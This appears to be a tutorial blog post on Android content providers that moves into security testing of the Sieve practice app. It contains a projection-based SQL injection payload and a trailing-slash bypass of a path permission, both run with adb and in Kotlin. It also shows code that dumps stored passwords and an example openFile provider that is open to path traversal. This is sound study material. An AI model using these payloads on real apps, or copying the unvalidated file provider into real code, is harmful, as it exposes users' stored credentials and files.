Content provider is a way for different apps to share information with each other. It's like having a big library where different apps can store their information, and other apps can come to the library to read or write that information.
For example, imagine you have a photo editing app that stores all the photos you edit, and you want to share those photos with a social media app. Instead of copying the photos from one app to the other, you can use a content provider to share the photos directly between the apps. The photo editing app would store the photos in its content provider, and the social media app would access the photos through the content provider.
To access data from a content provider, you use a ContentResolver object that communicates with the provider using a content URI. A content URI is a string that identifies the data you want to access, such as
content://com.example.app.provider/table1
.To create your own content provider, you need to implement a subclass of ContentProvider and declare it in your manifest file. You also need to implement methods for querying, inserting, updating, and deleting data in your provider.
Each content URI must be unique. For this reason developers usually use their package name
In reverse engineering prospective, it’s a good idea to search for
content://
to find app content providers. Each content URI consist of three parts. For example
content://com.android.contacts/contacts
:Prefix: The “content://” part is prefix. It’s mean we have an content provider.
Authority: The “
com.android.contacts
” part is authority. It’s as unique identifier for content provider. Usually it’s package name of application.Table
Row
Playing With Content Providers
How to access them with adb?
content query --uri content://com.android.contacts/contacts/1
How to create a content provider?
Here's a basic example of how to create a content provider in Android:
First, define the contract for your content provider in a Java interface:
public interface MyProviderContract {
String AUTHORITY = "com.example.myapp.provider";
Uri CONTENT_URI = Uri.parse("content://" + AUTHORITY + "/items");
String COLUMN_ID = "_id";
String COLUMN_NAME = "name";
String COLUMN_DESCRIPTION = "description";
}
This interface defines the authority for your content provider (
AUTHORITY
), the content URI for your provider (CONTENT_URI
), and the column names for the data you want to expose (COLUMN_ID
, COLUMN_NAME
, and COLUMN_DESCRIPTION
).Next, create a class that extends
ContentProvider
and implements the methods for inserting, updating, deleting, and querying data:public class MyProvider extends ContentProvider {
private MyDatabaseHelper dbHelper;
// This method is called when the content provider is created.
// It is responsible for initializing any resources the provider needs.
@Override
public boolean onCreate() {
dbHelper = new MyDatabaseHelper(getContext());
return true;
}
// This method is called when another application requests data from the provider.
// It returns a Cursor object that represents the result of a database query.
@Override
public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
SQLiteDatabase db = dbHelper.getReadableDatabase();
Cursor cursor = db.query("items", projection, selection, selectionArgs, null, null, sortOrder);
// This line notifies any registered observers that the data has changed.
cursor.setNotificationUri(getContext().getContentResolver(), uri);
return cursor;
}
// This method is called when another application wants to insert data into the provider.
// It returns a Uri object that represents the newly inserted row.
@Override
public Uri insert(Uri uri, ContentValues values) {
SQLiteDatabase db = dbHelper.getWritableDatabase();
// This line inserts the data into the database and returns the row ID of the newly inserted row.
long id = db.insert("items", null, values);
// This line creates a Uri object that represents the newly inserted row.
Uri itemUri = ContentUris.withAppendedId(MyProviderContract.CONTENT_URI, id);
// This line notifies any registered observers that the data has changed.
getContext().getContentResolver().notifyChange(itemUri, null);
return itemUri;
}
// This method is called when another application wants to update existing data in the provider.
// It returns the number of rows that were affected by the update.
@Override
public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
SQLiteDatabase db = dbHelper.getWritableDatabase();
// This line updates the data in the database and returns the number of rows that were affected.
int count = db.update("items", values, selection, selectionArgs);
// This line notifies any registered observers that the data has changed.
getContext().getContentResolver().notifyChange(uri, null);
return count;
}
// This method is called when another application wants to delete data from the provider.
// It returns the number of rows that were deleted.
@Override
public int delete(Uri uri, String selection, String[] selectionArgs) {
SQLiteDatabase db = dbHelper.getWritableDatabase();
// This line deletes the data from the database and returns the number of rows that were deleted.
int count = db.delete("items", selection, selectionArgs);
// This line notifies any registered observers that the data has changed.
getContext().getContentResolver().notifyChange(uri, null);
return count;
}
// This method is used to retrieve the MIME type of the data at the specified Uri.
// In this example, we don't need to implement this method, so it just returns null.
@Override
public String getType(Uri uri) {
return null;
}
}
A Description for
query
method:public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder)
uri
(required): A Uri
object that identifies the data that should be returned. This can be a specific row in a table, or a collection of rows that match certain criteria. The format of the Uri
is defined by the content provider's contract.projection
(optional): A string array that specifies which columns of the data should be returned. If projection
is null
, all columns are returned.selection
(optional): A filter that is applied to the data before it is returned. The filter is expressed as an SQL WHERE
clause (without the WHERE
keyword). For example, "name = ?"
would filter the data to only include rows where the name
column equals the value specified in selectionArgs
.selectionArgs
(optional): An array of values that are substituted into the selection
filter. Each ?
in the selection
filter is replaced with a value from selectionArgs
. For example, if selection
is "name = ?"
and selectionArgs
is {"John"}
, the filter would match rows where the name
column is John
.sortOrder
(optional): A string that specifies how the data should be sorted. The string should be in the same format as an SQL ORDER BY
clause. For example, "name DESC"
would sort the data by the name
column in descending order.The
query
method returns a Cursor
object that represents the result of the query. The Cursor
contains a set of rows that match the query, along with metadata about each column in the result set. The Cursor
can be used to iterate over the result set and extract the data that you need.Example of usage:
val uri = ContactsContract.Contacts.CONTENT_URI
val projection = arrayOf(
ContactsContract.Contacts._ID,
ContactsContract.Contacts.DISPLAY_NAME,
ContactsContract.Contacts.PHOTO_URI
)
val selection = "${ContactsContract.Contacts.DISPLAY_NAME} LIKE ?"
val selectionArgs = arrayOf("%John%")
val sortOrder = "${ContactsContract.Contacts.DISPLAY_NAME} ASC"
val limit = "10"
val cursor = contentResolver.query(
uri,
projection,
selection,
selectionArgs,
sortOrder,
limit
)
In this example, we're assuming that the data is stored in a SQLite database (
MyDatabaseHelper
is a custom implementation of SQLiteOpenHelper
). The query
method returns a Cursor
object that represents the result of a database query, and the insert
, update
, and delete
methods modify the data in the database.Finally, declare your content provider in the
AndroidManifest.xml
file:<provider
android:name=".MyProvider"
android:authorities="com.example.myapp.provider"
android:exported="false" />
This registers your content provider with the system, using the authority you defined in your contract. The
exported
attribute is set to false
to prevent other applications from accessing the provider directly.Access Content Provider Programmatically
// Construct the Uri that identifies the provider's data.
Uri uri = Uri.parse("content://com.example.myapp.provider/items");
// Query the provider to retrieve the items from the "items" table.
Cursor cursor = getContentResolver().query(uri, null, null, null, null);
// Check if the query returned any results.
if (cursor != null && cursor.getCount() > 0) {
// The query returned at least one row, so iterate over the result set.
while (cursor.moveToNext()) {
// Extract the values from the current row using the column names.
int id = cursor.getInt(cursor.getColumnIndex("_id"));
String name = cursor.getString(cursor.getColumnIndex("name"));
String description = cursor.getString(cursor.getColumnIndex("description"));
// Process the data here...
}
// Close the cursor to free up resources.
cursor.close();
}
SQL Injection in Content Providers
First you should know it’s very rare case. Most of developers use separate database for sensitive data or using some libraries like Room to access database which are same from SQL Injection vulnerability. But It’s a good point to always check for SQL Injection in content providers. How to check? It’s easy just present your payload in URI.
Let’s do it step by step:
We can place our payload in Uri:
Lets investigate around Sieve app
Ok. First as reverse engineer we first need to decompile the
apk
to Java
source code. For this purpose we use a tool named Jadx
. jadx.bat -d sieve-jadx --show-bad-code sieve.apk
Lets open it in visual studio code
code sieve-jadx
Ok. Let’s lookout the manifest:
As you see we have two provider. The first provider define path-permission. We can see this custom permission in manifest:
It is clear that to accessing
/Keys
path we need to have custom permission. Our purpose in this section is bypass this restriction and access to /Keys
without any permission. So deep dive into .DBContentProvider
class.As it is evident in the picture, we have to content URI which should check theme. Lets query both of theme:
generic_x86:/ $ content query --uri "content://com.mwr.example.sieve.DBContentProvider/Passwords"
Row: 0 _id=1, service=gmail, username=sec.zone64@gmail.com, password=BLOB, email=sec.zone64
generic_x86:/ $ content query --uri "content://com.mwr.example.sieve.DBContentProvider/Keys"
Error while accessing provider:com.mwr.example.sieve.DBContentProvider
java.lang.SecurityException: Permission Denial: reading com.mwr.example.sieve.DBContentProvider uri content://com.mwr.example.sieve.DBContentProvider/Keys from pid=15732, uid=2000 requires com.mwr.example.sieve.READ_KEYS, or grantUriPermission()
at android.os.Parcel.createExceptionOrNull(Parcel.java:2373)
at android.os.Parcel.createException(Parcel.java:2357)
at android.os.Parcel.readException(Parcel.java:2340)
at android.database.DatabaseUtils.readExceptionFromParcel(DatabaseUtils.java:190)
at android.database.DatabaseUtils.readExceptionFromParcel(DatabaseUtils.java:142)
at android.content.ContentProviderProxy.query(ContentProviderNative.java:472)
at com.android.commands.content.Content$QueryCommand.onExecute(Content.java:654)
at com.android.commands.content.Content$Command.execute(Content.java:521)
at com.android.commands.content.Content.main(Content.java:727)
at com.android.internal.os.RuntimeInit.nativeFinishInit(Native Method)
at com.android.internal.os.RuntimeInit.main(RuntimeInit.java:399)
As we learned in last section, we can try SQL Injection to get
keys
path content by querying passwords
path. Let’s do that:First we should now the table names. Because they me different from path names.
Getting table names: ( You can find theme from source code too)
generic_x86:/ $ su
generic_x86:/ # cd /data/data/com.mwr.example.sieve/databases/
generic_x86:/data/data/com.mwr.example.sieve/databases # sqlite3 database.db
sqlite> .table
Key Passwords android_metadat
sqlite> .quit
Now we try to set SQL Injection payload on the
Passwords
content provider:Checking
Passwords
Path:generic_x86:/ $ content query --uri "content://com.mwr.example.sieve.DBContentProvider/Passwords"
Row: 0 _id=1, service=gmail, username=sec.zone64@gmail.com, password=BLOB, email=sec.zone64
b. Put SQL Injection payload:
--projection "* from key--"
generic_x86:/ $ content query --uri "content://com.mwr.example.sieve.DBContentProvider/Passwords" --projection "* from key--"
Row: 0 Password=123456789123456789, pin=1234
Another way to bypass
The developer assign permission to
/Keys
path. But what if we use /Keys/
or /Keys/////
? Yeh it will bypassed. The only solution fix this bug is to using regular experssion instead of static path.
content query --uri "content://com.mwr.example.sieve.DBContentProvider/Keys/////////"
Bonus: How to insert/delete/update into content providers?
content insert --uri "content://com.mwr.example.sieve.DBContentProvider/Passwords" --bind service:s:seczone64Service --bind username:s:seczone64Usr --bind email:s:sec.zone64@gmail.com --bind password:b:0
# --bind syntax: columnName:datatype:value
# For example we have username column which is string so: --bind username:s:myusername
# Or we have password which is binary(Because it's encrypted) : --bind password:b:0
# Delete
content delete --uri "content://com.mwr.example.sieve.DBContentProvider/Passwords" --where "username='seczone64Usr'"
# Update the password to null
content update --uri "content://com.mwr.example.sieve.DBContentProvider/Passwords" --bind password:n: --where "username='seczone64Usr'"
Let’s Exploit It Programmatically
We learned in last section how to access content providers. So for reading seieve content provider we do like this:
val sievePasswordsUri =
Uri.parse("content://com.mwr.example.sieve.DBContentProvider/Passwords")
val cursor = contentResolver.query(
sievePasswordsUri, null, null, null, null)
cursor?.let {
println(DatabaseUtils.dumpCursorToString(cursor))
cursor.close()
return
}
println("Cursor is null.")
The problem is that when you use this code, you will get
Cursor is null
error. The reason is Package Visibility on android 11 (API Level 30).What is Package Visibility
When an app targets Android 11 (API level 30) or higher and queries for information about the other apps that are installed on a device, the system filters this information by default. This filtering behavior means that your app can’t detect all the apps installed on a device, which helps minimize the potentially sensitive information that your app can access but doesn't need to fulfill its use cases.
Some packages are visible automatically. Your app can always detect these packages in its queries for other installed apps. To view other packages, declare your app's need for increased package visibility using the <queries> element.
In the rare cases where the
<queries>
element doesn't provide adequate package visibility, you can use the QUERY_ALL_PACKAGES
permission.So let’s continue. We should change the manifest and add this code:
<queries>
<package android:name="com.mwr.example.sieve" />
</queries>
Run again and it will work.
You can also use this permission, but it is not recommended, and your app may have restrictions when you want to publish it on the Play Store.
<uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
For SQL Injection you can use this payload:
val sievePasswordsUri =
Uri.parse("content://com.mwr.example.sieve.DBContentProvider/Passwords/")
val projection = "* from key;--"
val cursor = contentResolver.query(
sievePasswordsUri, arrayOf(projection), null, null, null)
cursor?.let {
val data = DatabaseUtils.dumpCursorToString(cursor)
println(data)
cursor.close()
return data
}
println("Cursor is null.")
return "Null"
For getting password bytes:
val sievePasswordsUri =
Uri.parse("content://com.mwr.example.sieve.DBContentProvider/Passwords/")
val cursor = contentResolver.query(
sievePasswordsUri, null, null, null, null)
cursor?.let {
cursor.moveToFirst()
var data = DatabaseUtils.dumpCursorToString(cursor)
val passwordColumnIndex = cursor.getColumnIndex("password")
if(passwordColumnIndex > 0){
val passwordBytes = cursor.getBlob(passwordColumnIndex)
data += "\n\r\n\r ${android.util.Base64.encodeToString(passwordBytes,0)}"
}
println(data)
cursor.close()
return data
}
println("Cursor is null.")
return "Null"
There is More…
We can use content providers to working with files too. For example an app can share various file like photo's or other things.
class FileContentProvider : ContentProvider() {
override fun onCreate(): Boolean {
return true
}
override fun query(
uri: Uri,
projection: Array<String>?,
selection: String?,
selectionArgs: Array<String>?,
sortOrder: String?
): Cursor? {
return null
}
override fun getType(uri: Uri): String? {
return null
}
override fun insert(uri: Uri, values: ContentValues?): Uri? {
return null
}
override fun delete(uri: Uri, selection: String?, selectionArgs: Array<String>?): Int {
return 0
}
override fun update(
uri: Uri,
values: ContentValues?,
selection: String?,
selectionArgs: Array<String>?
): Int {
return 0
}
override fun openFile(uri: Uri, mode: String): ParcelFileDescriptor? {
val file = File(uri.path!!)
val fileMode = when (mode) {
"r" -> ParcelFileDescriptor.MODE_READ_ONLY
"w" -> ParcelFileDescriptor.MODE_WRITE_ONLY or ParcelFileDescriptor.MODE_CREATE
"rw" -> ParcelFileDescriptor.MODE_READ_WRITE or ParcelFileDescriptor.MODE_CREATE
else -> throw IllegalArgumentException("Unsupported mode: $mode")
}
return ParcelFileDescriptor.open(file, fileMode)
}
}
And client can use like this:
val fileUri = Uri.parse("content://com.example.fileprovider/myfile.txt")
val fileDescriptor = contentResolver.openFileDescriptor(fileUri, "r")
val inputStream = FileInputStream(fileDescriptor.fileDescriptor)
// read from the input stream...
ParcelFileDescriptor
is a class in Android that provides a way to pass file descriptors (i.e. handles to open files) between processes. It's similar to a regular FileDescriptor
, but it can be used across process boundaries, which makes it useful for inter-process communication.Or you can use
content
command in adb:content read --uri content://com.example.fileprovider/myfile.txt/<ID> > /path/to/local/file.txt
Tasks
Exploit path traversal content provider in MyNotes application.